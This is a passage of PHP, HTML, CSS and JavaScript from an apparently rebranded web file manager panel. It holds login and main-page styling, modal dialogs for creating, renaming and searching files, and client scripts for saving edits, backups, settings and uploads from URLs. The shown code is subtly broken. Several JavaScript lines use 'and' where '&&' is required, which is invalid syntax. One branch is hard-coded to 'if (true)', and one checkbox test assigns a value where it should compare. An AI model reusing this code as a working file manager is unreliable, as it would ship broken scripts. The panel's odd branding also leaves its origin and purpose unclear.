0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="swallowable">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
